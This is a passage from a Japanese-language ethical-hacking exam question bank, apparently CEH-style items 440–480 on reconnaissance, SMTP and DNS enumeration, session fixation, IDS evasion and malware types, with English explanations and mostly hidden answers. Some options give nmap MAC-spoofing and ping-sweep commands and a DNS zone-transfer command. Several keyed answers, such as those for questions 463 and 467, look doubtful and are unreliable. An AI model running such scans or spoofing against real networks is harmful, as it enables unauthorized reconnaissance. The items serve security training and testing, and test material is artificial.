C. 従業員が騙されて機密情報を漏らしてしまう可能性があるかどうかを確認するために、ソーシャルエンジニアリングテストを実施する。
D. ハードウェアとソフトウェアの設定ミスをチェックし、潜在的な脆弱性を特定する
正解: **(**正解を表示します**)**

質問: **440**
シンプルメール転送プロトコル(SMTP)の列挙が成功した場合、どのような有用な情報が収集されますか？
A. メールボックスがロックされる前に送信できる1日のメッセージ制限を表示します。
B. 内部コマンドRCPTは、メッセージトラフィックに対して開いているポートのリストを提供します。
C. 対象ホストが使用するすべてのメールプロキシサーバーアドレスのリスト。
D. 内部コマンド VRFY と EXPN は、有効なユーザー、メールアドレス、エイリアス、およびメーリングリストの確認を提供します。
正解: **(**正解を表示します**)**

質問: **441**
ノースカロライナ州シャーロットにあるテクノロジーコンサルティング会社で、従業員が巧妙に作成されたフィッシングメールを開封したことがきっかけで、標的型攻撃を受けた。セキュリティアナリストが一連の出来事を再現した結果、メールの添付ファイルが開かれると、組み込みのスクリプトユーティリティが起動され、悪意のある命令がアクティブなシステムプロセスに注入されたことが判明した。
ディスク上には、単独の悪意のある実行ファイルは検出されませんでした。注入された命令は、レジストリの変更やタスクスケジューリングの変更が観測される前に、正規のプロセス内で直接実行されていました。
攻撃シーケンスのこの段階では、ファイルレス攻撃ライフサイクルのどの運用フェーズが実証されているでしょうか？
A. 持続性
B. 入口
C. 目標達成
D. コード実行
正解: **(**正解を表示します**)**
The scenario describes malicious instructions being executed directly in memory within legitimate processes after the phishing attachment is opened, without any on-disk artifacts or persistence mechanisms yet established. This corresponds to the code execution phase of a fileless attack lifecycle, where the payload is actively running in a compromised process.

質問: **442**
倫理的なハッカーは、検出を避けるために組織のシステムに直接アクセスすることなく、企業の内部ネットワークに関する機密情報を収集する必要があります。この情報を秘密裏に入手するには、どの方法を用いるべきでしょうか？
A. 会社のウェブサーバーに存在する公開されている脆弱性を悪用する
B. 組織の求人情報を分析し、技術的な詳細を把握する
C. 会社のドメイン登録業者に対してWHOIS検索を実行する
D. ポートスキャンツールを使用して、企業のファイアウォールを調査します。
正解: **B (コメントを発表する)**
Analyzing job postings is a passive reconnaissance technique that can reveal internal technologies, platforms, and network details without interacting with or probing the organization's systems, thereby avoiding detection.

質問: **443**
ボストンのソフトウェア会社で行われた社内レッドチーム演習中、倫理的ハッカーのミーラは開発者のワークステーションへのアクセス権を獲得した。長期的なアクセスを確保するため、彼女は軽量バイナリを隠しディレクトリに配置し、システムが再起動されるたびに自動的に起動するように設定した。数日後、パッチ適用中にホストが再起動された後も、バイナリはユーザーの操作なしに再び実行され、ミーラはアクセスを継続できた。この永続的なアクセスを可能にした可能性が最も高い技術はどれか？
A. 新しいサービスの作成
B. スタートアップフォルダ
C. レジストリ実行キー
D. スケジュールされたタスク
正解: **(正解を表示します)**
Configuring a task to execute automatically on system restart, regardless of user interaction, is achieved through Scheduled Tasks, which ensures persistent execution of the planted binary.

質問: **444**
アリゾナ州フェニックスにある金融サービス会社で行われたレッドチーム演習中に、倫理的ハッカーが偽装された添付ファイル付きのフィッシングメールを従業員に送信しました。その目的は、ペイロードを環境に送り込み、後の攻撃手順を実行できるようにすることです。サイバーキルチェーンモデルにおいて、これはどの段階に該当しますか？
A. 搾取
B. 偵察
C. 配送
D. 兵器化
正解: **(正解を表示します)**
Sending a phishing email with a malicious attachment to the target environment corresponds to the delivery phase of the cyber kill chain, where the attacker transmits the weaponized payload to the victim.

質問: **445**
侵入テスト担当者は、標的組織のウェブサイトのサブドメインに関する情報を収集する任務を負っています。テスト担当者は、この任務を遂行するための汎用性と効率性を兼ね備えたソリューションを必要としています。以下の選択肢のうち、この目標を達成するための最も効果的な方法はどれでしょうか？
A. LinkedInのプロフィールを分析し、対象企業の従業員とその役職を特定する
B. SpokeoやInteliusなどの人物検索サービスを利用して、対象組織の従業員に関する情報を収集する。
C. OSINTを用いてウェブサイトのサブドメインを列挙するように設計されたSublist3rのようなツールを使用する。
D. GoogleやBingなどの検索エンジンを使用して、ハーベスターツールで対象ドメインに関連するメールアドレスを抽出する。
正解: **C** (コメントを発表する)

質問: **446**
ある企業がパブリッククラウドサービスに移行しました。セキュリティチームは、クラウドサービスプロバイダーのAPIに重大な欠陥を発見しました。この企業が直面する可能性が最も高い潜在的な脅威は何でしょうか？
A. クラウドサーバーへのDDoS攻撃
B. 保存されている暗号化データの漏洩
C. クラウド リソースへの不正アクセス
D. 物理的なセキュリティ侵害に対する脆弱性
正解: (正解を表示します)
A critical flaw in a cloud provider's API can be exploited to bypass authentication or authorization controls, enabling attackers to gain unauthorized access to cloud resources and manage, modify, or exfiltrate data.

質問: **447**
ジョンは、米国に拠点を置く小売企業に対する侵入テスト中に、構造化クエリに対して異常な応答を示すセカンダリサーバーへのアクセス権を獲得した。特別に細工されたリクエストを送信することで、彼はターゲット組織に属するサブドメイン、MXレコード、およびエイリアスの完全なリストを取得した。
この対応により、さらなる攻撃に悪用される可能性のある機密性の高い内部マッピングが露呈した。
この列挙を実行するために最も使用された可能性が高いツールはどれですか？
A. dig @ axfr
B. nbtstat -A
C. ldapsearch -h -x
D. smtp-user-enum.pl -u user -t host
正解: (正解を表示します)
Using dig @ axfr performs a DNS zone transfer, which can return a full list of subdomains, MX records, and aliases from a misconfigured DNS server, exposing sensitive internal mappings.

質問: **448**

あなたはCloudSecure Inc.の最高サイバーセキュリティ責任者であり、あなたのチームは機密性の高い顧客データを扱うクラウドベースのアプリケーションのセキュリティ確保を担当しています。データの漏洩を防ぐため、保存データと転送データの両方に暗号化を適用することにしました。開発チームは、転送データのセキュリティ確保にSSL/TLSを使用することを提案しています。
しかし、データ送信中にデータが改ざんされたかどうかを検出する仕組みも実装したいと考えています。次のうち、どれを提案すべきでしょうか？
A. 送信前にAESアルゴリズムを使用してデータを暗号化します。
B. SSL/TLSに加えてIPsecを実装する。
C. データ送信にSSHを使用するように切り替えます。
D. クラウドサービスプロバイダーの組み込み暗号化サービスを利用する。
正解: **(**正解を表示します**)**

質問: **449**
あなたはテキサス州サンアントニオにあるNovaEx Cryptoのインシデント対応担当者、ライリーです。取引所のトークンを受け入れている小売業者から報告された最近の二重支払いの調査を担当しています。テレメトリによると、その小売業者が使用している再販業者ノードは、数時間にわたって少数の固定されたピアからのみブロックを受信し、矛盾する履歴を受け入れていました。この履歴によって、攻撃者は後に確定済みの支払いを覆すことができました。攻撃者は、そのノードが通信するピアを制御し、公開する準備が整うまでプライベートチェーンを提供していたようです。この動作は、どのブロックチェーン攻撃に最も近いでしょうか？
A. DeFiサンドイッチ攻撃
B. フィニー ･アタック
C. 攻撃力51%
D. エクリプスアタック
正解: **D (**コメントを発表する**)**
The attacker isolates the target node by controlling its peer connections and feeds it a manipulated private chain, enabling transaction reversals. This behavior is characteristic of an eclipse attack, which targets a node's network view rather than the entire blockchain consensus.

質問: **450**
クラウドセキュリティテスト中に、評価担当者が、無制限のパブリック読み取りアクセスが設定されたオブジェクトストレージバケットを発見した。機密情報は公開されることを意図していない。
最も差し迫ったセキュリティ上の懸念事項は何ですか？
A. CPU使用率の増加
B. 保存データの不正開示
C. DNS解決が遅い
D. オペレーティングシステムの自動更新
正解: **(**正解を表示します**)**
Publicly readable cloud storage may expose confidential documents, backups, source code, credentials, or personally identifiable information if access permissions are misconfigured.

Reviewing access policies, applying the principle of least privilege, and continuously monitoring storage permissions are essential cloud security practices.

質問: **451**
侵入テスト担当者が、Webアプリケーションが古いSSL/TLSプロトコル(TLS)を使用していることを発見しました。
1.0) 通信を安全にするため。この脆弱性を悪用する最も効果的な方法は何ですか？
A. アプリケーションに対してクロスサイトスクリプティング(XSS)攻撃を実行する
B. 中間者攻撃(MitM攻撃)を用いて通信を傍受し、復号する
C. アプリケーションのバックエンドに対してSQLインジェクション攻撃を実行する
D. SSL/TLSハンドシェイクに対して総当たり攻撃を実行する
正解: **(**正解を表示します**)**
Deprecated protocols such as TLS 1.0 are vulnerable to known cryptographic weaknesses that can be exploited in a man-in-the-middle scenario, allowing an attacker to intercept and potentially decrypt sensitive communications between the client and server.

質問: **452**
侵害後のフォレンジック調査により、1億4300万人の顧客に影響を与えたEquifaxのデータ侵害の原因は、Apache Strutsの既知の脆弱性であることが明らかになった。ソフトウェアベンダーは、侵害発生の数ヶ月前から修正プログラムを提供していた。これは、以下のセキュリティプロセスのどれに問題があると考えられるか？
A. セキュリティ意識向上トレーニング
B. パッチ管理
C. ベンダーリスク管理
D. 安全な開発ライフサイクル
正解: **B (**コメントを発表する**)**

質問: **453**
サイバーセキュリティの授業では、Webサーバーに関連する一般的なセキュリティリスクについて学んでいます。その中で、デフォルトのサーバー設定を使用することによるリスクが取り上げられます。Webサーバーでデフォルト設定を使用することがセキュリティリスクとみなされるのはなぜでしょうか？また、このリスクを軽減するための最善の初期対策は何でしょうか？

A. デフォルト設定ではサーバーが誤動作する可能性があります。設定を簡素化してください。
B. デフォルト設定ではログイン試行回数に制限はありません。アカウントロックアウトを設定してください。
C. デフォルト設定ではサーバーソフトウェアの種類が表示されます。これらの設定を変更してください。
D. デフォルト設定では自動更新が有効になっています。無効にして手動でパッチを適用してください。
正解: **(**正解を表示します**)**

質問: **454**
あなたはセキュリティアナリストとして、新規顧客のために、直接的なやり取りなしにできるだけ多くの情報を得るためのフットプリンティング調査を実施しています。検索エンジンと公開データベースを使用した予備調査により、組織のオンラインプレゼンスに関する膨大なデータが得られました。あなたは現在、さらなる脆弱性を発見するためにGoogle Hackingの手法を用いることを検討しています。この決定を最も適切に正当化できるのは次のうちどれでしょうか？
A. Google Hacking は、クライアントの内部ネットワーク構造をマッピングするのに役立ちます。
B. Google Hacking は、クライアントの Web サイト コードの脆弱性を特定するのに役立ちます。
C. Google Hackingは、クライアントのウェブサイトを模倣した潜在的なフィッシングサイトを特定するのに役立ちます。
D. Google Hacking は、ディープ Web から隠された組織データを発見するのに役立ちます。
正解: **B (**コメントを発表する**)**
Google Hacking leverages advanced search operators to uncover exposed files, misconfigurations, and coding weaknesses indexed by search engines, making it effective for identifying vulnerabilities in a client's publicly accessible website code during passive footprinting.

質問: **455**
あなたの会社は、小規模な医療機関からネットワークの技術評価を依頼されました。Windowsベースのコンピュータの脆弱性を発見するための最適なアプローチは何ですか？
A. 最新のCVE発見リストについては、MITRE.orgをご確認ください。
B. Nessusのようなスキャンツールを使用する
C. クリーンなWindowsインストールのディスクイメージを作成する
D. Windowsに内蔵されているアップデートツールを使用する
正解: **(**正解を表示します**)**

質問: **456**
中規模企業のネットワークに対する内部セキュリティ評価中に、セキュリティアナリストはARPトラフィックの異常な急増に気づきました。詳しく調査したところ、特定のMACアドレスが異なるサブネットにまたがる複数のIPアドレスに関連付けられていることが判明しました。ARPパケットは要求ではなく、一方的な応答であり、複数の部署の従業員から断続的な接続切断、ログイン失敗、イントラネットセッションの中断が報告されています。アナリストは、ローカルネットワークセグメントへの意図的な干渉を疑っています。この異常な動作の最も可能性の高い原因は何でしょうか？
A. ARPポイズニングによるルーティングの不整合
B. DHCPスヌーピングの設定が正しくありません

C. ポートセキュリティにより、すべての送信MAC応答が制限されます。
D. すべてのクライアントで正当なARPテーブルの更新
正解: **(**正解を表示します**)**
Unsolicited ARP replies mapping a single MAC address to many IP addresses, combined with session disruptions and intermittent connectivity, strongly indicates ARP poisoning, where an attacker forges ARP responses to redirect traffic and create man-in-the-middle conditions.

質問: **457**
侵入テストにおいて、倫理的なハッカーは複雑なウェブアプリケーションのセキュリティを調査している。このアプリケーションは、クライアント側の入力サニタイズにJavaScriptを多用しており、これだけでインジェクション攻撃を防ぐのに十分であるという前提に基づいているようです。調査中に、倫理的ハッカーは、アプリケーションがユーザーセッションの管理にCookieを使用しているにもかかわらず、HttpOnlyフラグを有効にしていないことにも気づきました。このフラグの欠如により、Cookieがクライアント側のスクリプトに晒される可能性があります。これらの脆弱性が明らかになった場合、倫理的ハッカーがこのアプリケーションを悪用する最も効果的な戦略は何でしょうか？
A. サーバー側のセキュリティの脆弱性を利用して、分散型サービス拒否(DDoS)攻撃を仕掛け、サーバーに過負荷をかける。
B. 検証されていない可能性のある入力を利用して、不正なデータベースアクセスを取得するために、SQLインジェクション攻撃を実行します。
C. サーバー側の検証がないことを考慮し、総当たり攻撃を用いてユーザー認証情報を解読する。
D. クロスサイトスクリプティング(XSS)攻撃を実行し、クライアント側のサニタイズを回避してセッションクッキーの漏洩を悪用します。
正解: **(**正解を表示します**)**

質問: **458**
あなたはFortiSec Solutionsのサイバーセキュリティコンサルタント、マイケル・リベラです。アリゾナ州フェニックスに拠点を置くスタートアップ企業、DesertTech Innovationsの無線ネットワーク強化を依頼されました。先日実施したペネトレーションテストで脆弱性が発見されたため、ITマネージャーのリサ・グエンから、不正なデバイスが社内Wi-Fiに接続するのを防ぐための防御策を提案するよう依頼されました。あなたは、接続する各デバイスに、一意のユーザー名とパスワードを用いて中央サーバー経由で認証させる方法を提案しました。提示されたアプローチに基づき、DesertTechはどのような無線セキュリティ対策を実施すべきでしょうか？
A. 802.1X認証を使用する
B. TKIPを無効にする
C. MACアドレスフィルタリング
D. WPA3 にアップグレード
正解: **(**正解を表示します**)**
The requirement is centralized authentication using unique user credentials for each device. This aligns with 802.1X, which uses a RADIUS server to authenticate users individually before granting network access, providing strong access control for wireless networks.

質問: **459**
レッドチームシミュレーションにおいて、攻撃者はセグメント化された企業ネットワーク内でホストされているWebサーバーにペイロードを送信しようと試みます。ターゲット環境では、ディープパケットインスペクションと既知の攻撃シグネチャとのパターンマッチングを実行するネットワークベース侵入検知システム(NIDS)が使用されています。アラームの発生を回避するため、攻撃者は実際の攻撃コードではなく、パケットの構造を操作することにしました。この手法では、意図的に不正なチェックサムを持つパケットを作成し、特定のフィールドを変更することで、パケットがIDSに受け入れられるものの、宛先システムによって破棄されるようにします。これにより、IDSは実際のターゲットが受信するデータとは異なるデータセットを処理およびログに記録することになり、シグネチャ検出を効果的に回避できます。ペイロードはターゲットシステム上で変更されないまま、攻撃トラフィックを誤解釈するようにIDSを欺くために、攻撃者はどのような回避技術を使用しているのでしょうか？
A. セッションスプライシング
B. ポリモーフィックシェルコード
C. 断片化攻撃
D. 挿入攻撃
正解: **(**正解を表示します**)**
The attacker sends packets with malformed fields (such as invalid checksums) that are processed by the IDS but rejected by the target system. This causes the IDS to reconstruct and analyze a different data stream than what the destination actually accepts, allowing the attacker to evade signature-based detection.

質問: **460**
この暗号化アルゴリズムは、128ビットのブロックサイズを特徴とする対称鍵ブロック暗号であり、鍵サイズは最大256ビットです。次のうち、この暗号化アルゴリズムはどれですか？
A. IDEA
B. Twofish暗号化アルゴリズム
C. ブローフィッシュ暗号化アルゴリズム
D. HMAC暗号化アルゴリズム
正解: **(**正解を表示します**)**

質問: **461**
ABC社は最近、新しい会計士と契約を結びました。その会計士は財務諸表の作成を担当します。財務諸表はCFOの承認を得た後、会計士に送付されますが、CFOは承認後に会計士に送付された情報が改ざんされていないか確認したいと考えており、懸念を抱いています。データの整合性を確保するために役立つ選択肢は次のうちどれでしょうか？
A. その文書は、専用のUSBメモリを使用して会計士に送信できます。
B. CFOはパスワード付きのExcelファイルを使用できる
C. 財務諸表は2回送付できます。1回は電子メールで、もう1回はUSBメモリで送付し、会計担当者は両方を比較して同じ文書であることを確認できます。
D. CFOは財務諸表を承認した後、文書内でハッシュアルゴリズムを使用することができます。

正解: (正解を表示します)
Using a hash algorithm allows the accountant to verify that the financial statements were not modified after approval because any change to the document would produce a different hash value.

質問: **462**
ある銀行は、住宅ローンに関連する機密性の高い個人情報を保管・処理しています。しかし、これまでシステム上で監査機能は有効化されていませんでした。銀行が監査機能を有効にする前に取るべき最初のステップは何でしょうか？
A. 監査機能を有効にした場合の影響を判断する。
B. 監査機能の費用対効果分析を実施する。
C. 監査ログレビューのスタッフ配置のための資金を割り当てる。
D. システムの脆弱性スキャンを実行します。
正解: (正解を表示します)

質問: **463**
競合するテクノロジー企業が、ApexDynamics Inc.のデザイン、価格戦略、機能ロードマップを酷似した製品のリリースを開始しました。社内調査の結果、ApexDynamicsの今後の取り組みに関する詳細情報が、製品発売前に公開情報源や外部開示を通じて徐々に収集されていたことが判明しました。このシナリオは、フットプリンティングに関連する脅威のうち、どれを最もよく表しているでしょうか？
A. 企業スパイ活動
B. 事業損失
C. 情報漏洩
D. ソーシャルエンジニアリング
正解: **B** (コメントを発表する)
The organization suffers competitive disadvantage and revenue impact because publicly exposed information about its plans allowed a competitor to replicate its strategy. This outcome represents business loss resulting from footprinting activities.

質問: **464**
秘密裏に行われるレッドチーム演習において、侵入テスターは、侵入検知システム(IDS)をトリガーすることなく、標的組織の内部サブネット(10.0.0.0/24)内の稼働中のホストを特定する任務を負います。検出されないようにするため、テスターはコマンド nmap -sn -PE 10.0.0.0/24 を使用することを選択します。その結果、組織のIDSが大量のスキャンを検出するように調整されているにもかかわらず、「ホストは稼働中」という応答が複数返されます。演習後、クライアントはログを確認し、スキャンがフラグ付けされなかったことに驚きます。アラートをトリガーせずにスキャンを完了できたのはなぜでしょうか？
A. ポートプロービングを行わずにICMPエコーピングスイープを実行しました。
B. ICMP検査を回避するUDPパケットを使用しました。
C. ファイアウォールのホワイトリストで開いているポートのみをスキャンしました。
D. 通過を許可されたTCP ACKパケットを使用しました。
正解: (正解を表示します)

The scan used an ICMP Echo ping sweep to identify live hosts without performing any port scanning. Because it generated low-volume ICMP traffic rather than aggressive port probes, it blended into normal network behavior and did not trigger IDS thresholds tuned for high-volume or intrusive scans.

質問: **465**
ニュージャージー州のある金融機関で行われた、管理されたレッドチーム演習において、倫理的ハッカーのライアンは、ステルス型マルウェアに対する銀行の耐性をテストした。彼は従業員のワークステーションにカスタムの悪意のあるプログラムを仕込んだ。実行後、感染したファイルは正常に機能し続けるものの、彼のマルウェアはオペレーティングシステムの呼び出しを傍受することで変更を隠蔽していることがわかった。悪意のあるコードはシステム上でアクティブかつ隠蔽されたままであるにもかかわらず、ウイルス対策スキャンは繰り返し 脅威は検出されませんでした」と返した。ライアンはこの評価において、どのタイプのウイルスを最も可能性の高いものとして展開したか？
A. 虫歯ウイルス
B. マクロウイルス
C. ステルスウイルス
D. 多形性ウイルス
正解: **(**正解を表示します**)**
A stealth virus hides its presence by intercepting or modifying operating system calls, allowing infected files to appear normal and evade antivirus detection while the malicious code remains active.

質問: **466**
IT企業に勤務するセキュリティ専門家のベラは、重要なファイルの転送中にセキュリティ侵害が発生したことを発見した。機密データ、従業員のユーザー名、パスワードが平文で共有されており、ハッカーがセッションハイジャックを成功させる可能性があった。この状況に対処するため、ベラは暗号化とデジタル証明書を使用してデータを送信するプロトコルを実装した。
ベラが使用するプロトコルは次のうちどれですか？
A. FTP
B. FTPS
C. IP
D. HTTPS
正解: **B (**コメントを発表する**)**

質問: **467**
サイバーセキュリティの専門家として、あなたはバックエンドデータベースとしてMySQLを使用するトラフィック量の多いWebアプリケーションのセキュリティを担当しています。最近、不正ログインの試みが急増しており、熟練したブラックハットハッカーが関与している疑いがあります。このハッカーはSQLインジェクションに精通しており、「UNION」SQLキーワードを使用してログインプロセスを騙し、追加データを取得しているようです。しかし、アプリケーションのセキュリティ対策には、ユーザー入力の特殊文字をフィルタリングする機能が含まれており、これは通常、このような攻撃に対して有効な方法です。このような厳しい状況下で、ハッカーがそれでもSQLインジェクションの脆弱性を悪用しようとする場合、どのような戦略を用いる可能性が最も高いでしょうか？
A. ハッカーは「UNION」キーワードを操作してデータベースエラーを引き起こし、データベースの構造に関する貴重な情報を漏洩させようとします。
B. ハッカーは、悪意のある入力をエンコードすることで特殊文字フィルターを回避しようとします。これにより、有害なSQLクエリを正常に注入できる可能性があります。
C. ハッカーはアプローチを変更し、「DROP TABLE」ステートメントを挿入します。これは、アプリケーションのデータベースに保存されている重要なデータの損失につながる可能性があります。
D. ハッカーは戦術を変更し、「時間ベースのブラインド」SQLインジェクション攻撃に頼ります。これは、アプリケーションの応答を遅延させ、遅延時間に基づいて情報を明らかにします。
正解: **D** (コメントを発表する)

質問: **468**
ワシントン州シアトルの小売企業で侵入テストを実施している倫理的ハッカーは、スキャンが特定のハードウェアベンダーから発信されたように見せかける必要があります。この組織はMACアドレスベースのログ記録を使用しており、ベンダーに関連付けられた識別子を割り当てることで、ネットワーク上の正規のデバイスからのトラフィックに紛れ込ませることができます。この目的を達成するには、どのNmapコマンドを使用すればよいでしょうか？
A. nmap -sT -Pn --spoof-mac Dell 10.10.1.11
B. nmap -sT -Pn --spoof-mac 0 10.10.1.11
C. nmap -sT -Pn --spoof-mac 00:11:22 10.10.1.11
D. nmap -sT -Pn --spoof-mac 00:01:02:25:56:AE 10.10.1.11
正解: **(**正解を表示します**)**
Using --spoof-mac with a vendor name (e.g., Dell) allows Nmap to generate a MAC address associated with that vendor, making the scan appear as if originating from legitimate hardware.

質問: **469**
DNS偵察において、テスターは単一のクエリを使用して権威ネームサーバーからすべてのDNSレコードを取得しようとします。この手法は一般的に何と呼ばれていますか？
A. DNS再帰
B. DNSゾーン転送
C. DNSトンネリング

D. DNSポイズニング
正解: **B** (コメントを発表する)
A DNS zone transfer copies DNS records from an authoritative server to another authorized server. If misconfigured, unauthorized parties may obtain valuable infrastructure information, including hostnames and internal naming conventions. Properly restricting zone transfers to trusted servers reduces unnecessary information disclosure.

質問: **470**
アトランタの小売企業で行われたレッドチーム演習中、倫理的ハッカーのジェームズは、同社のショッピングポータルへのセッションを作成し、そのセッションIDをリンクに埋め込むことで、何も知らない従業員と意図的に共有しました。従業員がリンクをクリックしてログインすると、その従業員のアクティビティは攻撃者が事前に割り当てたセッションに紐付けられます。その後、ジェームズは同じセッションから従業員の入力を取得し、経営陣に脆弱性を実証しました。ジェームズが最も可能性の高いセッションハイジャック手法はどれでしょうか？
A. セッション予測
B. セッション固定攻撃
C. セッションリプレイ攻撃
D. セッション寄付攻撃
正解: **B** (コメントを発表する)
By assigning a predetermined session ID and having the victim log in using it, the attacker fixes the session so that subsequent user activity occurs within a session controlled by the attacker.
This behavior defines a session fixation attack.

質問: **471**
XYZ社のサイバーセキュリティアナリストであるあなたは、同社のオンラインプレゼンスに対する徹底的なセキュリティ評価を実施する必要があります。まず、受動的な偵察フェーズから始め、対象システムと直接やり取りすることなく、できるだけ多くの情報を収集しようとします。この作業において、以下の手法やツールのうち、最も役に立たないのはどれでしょうか？
A. Nmapのようなツールを使用して、会社の公開IPアドレス範囲をスキャンします。
B. WHOISデータベースでドメイン登録の詳細を調査する。
C. 検索エンジンおよび関連サービス(Google、Bing、Google Earthなど)を利用する。
D. ソーシャルメディアプラットフォームや専門家向けネットワーキングサイト上の公開投稿やプロフィールを監視する。
正解: **A** (コメントを発表する)
Using Nmap to scan public IP ranges involves actively sending probes to the target systems, which directly interacts with the infrastructure and can be detected, making it unsuitable for passive reconnaissance activities.

質問: **472**
どのNmapスキャンが最もステルス性が高いですか？

A. クリスマス
B. TCP接続
C. SYN
D. UDP
正解: **C** (コメントを発表する)
A SYN scan is considered the stealthiest common Nmap scan because it performs a half-open TCP handshake without fully establishing a connection. This reduces the likelihood of generating application logs and makes detection more difficult than a full TCP Connect scan.

質問: **473**
あなたは、カリフォルニア州ロサンゼルスにある小売チェーン、Coastal Trendsのソーシャルエンジニアリング対策をテストするために雇われた、CyberGuard Analyticsの倫理的ハッカー、リアム・チェンです。秘密裏に調査を行う中で、あなたは従業員の会社の携帯電話に、重要なアカウント更新が必要だと偽り、監視ソフトウェアをインストールするリンクに誘導する欺瞞的なメッセージを作成します。
複数の従業員がこのリンクにアクセスすることで、特定のモバイル攻撃ベクトルに対する脆弱性が露呈します。このアプローチに基づくと、どのような種類のモバイル攻撃をシミュレートしていることになりますか？
A. ブルーバグ
B. SMSフィッシング
C. 発信者番号偽装
D. OTPハイジャック
正解: (正解を表示します)
The attack uses deceptive text messages sent to employees' phones with a malicious link to trick them into taking action. This is characteristic of SMS phishing (smishing), where attackers exploit SMS communication to deliver fraudulent messages and malicious links.

質問: **474**
大手テクノロジー企業のセキュリティ専門家であるあなたは、自社のウェブサービスに対する攻撃が増加していることに気づきました。そこで、パッチ管理戦略を強化することが最善の策だと判断しました。提示された情報を踏まえ、パッチとホットフィックスの安全かつ効率的な管理を確保する上で、以下の戦略のうちどれが最も効果的でしょうか？
A. ベンダー固有の脆弱性を回避するため、顧客組織外に配布されたパッチとホットフィックスのみを適用します。
B. 自動パッチ管理プロセスを実装し、パッチ管理ツールを使用してパッチ適用済みのシステムを監視する。
C. ベンダーのウェブサイトから直接、ライブサーバーにパッチとホットフィックスを手動でインストールします。
D. 考えられるすべての脆弱性をカバーするために、ソースに関係なく、すべてのパッチとホットフィックスをダウンロードして適用します。
正解: (正解を表示します)

An automated patch management process combined with a patch management tool ensures timely, consistent, and verifiable deployment of patches and hotfixes across systems, reducing exposure windows and minimizing human error while maintaining operational efficiency.

質問: **475**
ITプロフェッショナルであるあなたは、サイバーセキュリティに関するウェビナーに参加しています。プレゼンターは、倫理的ハッキングの重要性と、サイバー空間に関わる様々なタイプのハッカーについて強調しています。
突然 「スクリプトキディ」という言葉が出てきて、あなたの好奇心をそそります。プレゼンターによると、倫理的ハッキングの文脈における 「スクリプトキディ」とは一体誰のことなのでしょうか？
A. 彼らはセキュリティシステムを突破するためのスクリプトを作成する、高度なスキルを持つハッカーです。
B. 彼らはハッキングの世界では初心者で、主に他人が開発したスクリプトやコードを使用します。
C. 彼らは、スクリプトを使用してシステムへの侵入テストを実施する倫理的なハッカーです。
D. 彼らは高度なサイバー攻撃を実行するためにスクリプト言語を専門とするハッカーです。
正解: **(**正解を表示します**)**
Script kiddies are individuals with limited technical knowledge who rely on pre-written scripts and tools created by others to perform attacks, without understanding the underlying mechanisms.

質問: **476**
テキサス州ダラスにある通信事業者の大規模ネットワーク評価において、サイバーセキュリティコンサルタントはRecon-ngとNmapを用いて、複数のノードにまたがるレガシーサービスとインフラレベルのサービスを列挙しました。これらのツールは、開いているTelnetポート、匿名ログインが有効になっているFTPディレクトリ、アクティブなTFTPサービス、そして公開されているSMB共有を発見しました。コンサルタントはまた、VRFY、EXPN、RCPTコマンドに応答するサービスも検出しました。これらのサービスは、入力検証が脆弱なため、ユーザーIDと配信アドレスの列挙を可能にしていました。
IPv6トンネリングプロトコルも検出されました。情報漏洩を懸念したコンサルタントは、これらのサービスにフラグを付け、直ちに修復を行うように指示しました。
この一連の列挙活動を最もよく表す分類はどれですか?
A. LDAP列挙
B. VoIP列挙
C. SMTP列挙
D. DNS列挙
正解: **(**正解を表示します**)**
The key indicator is the service responding to VRFY, EXPN, and RCPT commands, which are specific to SMTP. These commands allow enumeration of valid users and email addresses, making this activity characteristic of SMTP enumeration.

質問: **477**
フロリダ州マイアミでは、サイバーセキュリティアナリストのローラ・ベネット氏が、サンシャイン信用組合のオンラインバンキングプラットフォームに影響を与えている不正アクセス事件を調査している。監査ログによ

ると、侵害されたアカウントは、電子メールで送信された特殊なリンクを介してポータルにアクセスしたユーザーに一貫して関係していることが明らかになった。
これらのリンクは被害者を正規のウェブサイトに誘導し、そこで被害者は認証に成功します。その後まもなく、追加の認証情報推測や総当たり攻撃を行うことなく、同じアカウントへの不正アクセスが確認されます。
さらに調査した結果、ユーザーとアプリケーションとのやり取りに関連する値が認証プロセス全体を通して変更されず、ユーザーがサインインを完了する前に導入できることが判明した。
ローラはこの種のアカウント乗っ取りを防ぐために、どのような対策を講じるべきでしょうか？
A. Cache-Control: no-cache などの制限的なキャッシュディレクティブを使用してください
B. SSLを実装し、ネットワーク経由で送信されるすべての情報を暗号化する
C. ログイン成功後にセッションIDを再生成する
D. 認証されていないユーザーのセッションを作成しない
正解: **C** (コメントを発表する)
The scenario indicates a session fixation condition where a session identifier is set before authentication and remains valid after login, allowing an attacker to reuse it for account takeover.
Regenerating the session ID after successful authentication ensures that any pre-login session value cannot be reused, effectively breaking the fixation chain and preventing hijacking.

質問: **478**
ウェブアプリケーションが信頼できないデータを逆シリアル化することで、リモートコード実行(RCE)の脆弱性が発生する。どのような欠陥が存在するのか？
A. SSTI
B. 安全でない逆シリアル化
C. SQLインジェクション
D. XSS
正解: **B** (コメントを発表する)
Insecure deserialization occurs when an application deserializes untrusted or attacker-controlled data without proper validation. This can allow attackers to execute arbitrary code remotely, resulting in remote code execution (RCE).

質問: **479**
ソフトウェア開発者のスーザンは、自身のWeb APIを使って他のアプリケーションを最新の情報で更新したいと考えています。そのために、彼女はトリガーイベントに基づいて呼び出されるユーザー定義のHTTPコールバックまたはプッシュAPIを使用します。この機能が呼び出されると、他のアプリケーションにデータが提供され、ユーザーはリアルタイムの情報を即座に受け取ることができます。スーザンが採用している手法は次のうちどれでしょうか？
A. REST API
B. ウェブシェル
C. ウェブフック
D. SOAP API
正解: **C** (コメントを発表する)

質問: **480**
XYZ社の脆弱性評価を実施中に、複数の主要システムが正体不明の外部エンティティと定期的に通信していることが判明しました。これらの通信には、送受信両方のデータ転送が頻繁に含まれています。これらの通信の中には正当なものもあるかもしれませんが、監視されていないトラフィックの性質と量から、データ漏洩やマルウェア侵入の可能性が懸念されます。これらの通信の曖昧な性質と重大なリスクを考慮すると、これらの不正な通信に関連する脆弱性を最も直接的に特定し、軽減できる戦略はどれでしょうか？
A. 特定されたシステムの相互作用パターンに焦点を当て、通常のシステム動作をプロファイリングし、逸脱を警告する行動分析ソリューションを優先的に導入する。
B. 従業員が意図せず外部の組織と関わってしまうことを抑制するため、迷惑メールの危険性に関する全社的な研修を実施する。
C. 全面的に積極的なゼロトラストモデルを導入し、個別に検証および確認ができるようになるまで、すべての外部とのやり取りを遮断します。
D. 関係するシステムに対して徹底的なフォレンジック分析を開始し、過去の侵害、マルウェア、または不正なデータ操作の兆候を探します。
正解: **(**正解を表示します**)**
